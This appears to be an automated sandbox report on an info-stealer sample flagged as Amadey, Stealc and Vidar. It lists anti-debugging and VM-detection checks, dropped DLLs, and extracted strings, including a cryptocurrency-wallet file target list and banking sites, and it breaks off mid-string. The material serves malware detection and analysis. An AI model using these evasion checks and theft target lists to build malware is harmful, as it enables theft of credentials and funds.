Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5BCF4 second address: E5BCF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5BCF8 second address: E5BCFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5CBAA second address: E5CBE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FD31CD42B99h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5DBA3 second address: E5DBAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD31CE6EAA6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5DBAD second address: E5DBB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5DBB1 second address: E5DBC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a js 00007FD31CE6EAACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5FB4D second address: E5FB53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E5FB53 second address: E5FB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	RDTSC instruction interceptor: First address: E60BAF second address: E60BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FD31CD42B86h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F72401 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F9599F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DBFAD7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FFA3C3 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Special instruction interceptor: First address: CAEA07 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Special instruction interceptor: First address: CAEAB1 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Special instruction interceptor: First address: E43A24 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Special instruction interceptor: First address: CAC1EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83EA07 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83EAB1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9D3A24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83C1EE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe

Code function: 22_2_04B80286 rdtsc

22_2_04B80286

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6620	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3092	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5428	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5428	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6176	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6176	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6188	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6556	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6556	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6488	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6488	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3580	Thread sleep count: 44 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3580	Thread sleep time: -1320000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3580	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4EC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001A.00000002.3323875552.00000000009B3000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2610315504.0000000001323000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2610315504.0000000001355000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3326670265.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware*
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2609689420.0000000000F52000.00000040.00000001.01000000.00000003.sdmp, DocumentsBKKKFCFIIJ.exe, 00000016.00000002.2702734014.0000000000E23000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2698680814.00000000009B3000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2738514519.00000000009B3000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.3323875552.00000000009B3000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe

Code function: 22_2_04B80286 rdtsc

22_2_04B80286

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C535FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C535FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0080652B mov eax, dword ptr fs:[00000030h]		26_2_0080652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0080A302 mov eax, dword ptr fs:[00000030h]		26_2_0080A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C50B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C50B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBKKKFCFIIJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBKKKFCFIIJ.exe "C:\Users\user\DocumentsBKKKFCFIIJ.exe"
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2609689420.0000000000F52000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50B341 cpuid

0_2_6C50B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4D35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4D35A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 26_2_007D65E0 LookupAccountNameA,

26_2_007D65E0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsBKKKFCFIIJ.exe.c40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000003.2608680907.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2702346163.0000000000C41000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2698524505.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2697600061.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3323463061.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.3249416176.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2658241854.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2737962556.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2609368530.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2078634280.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 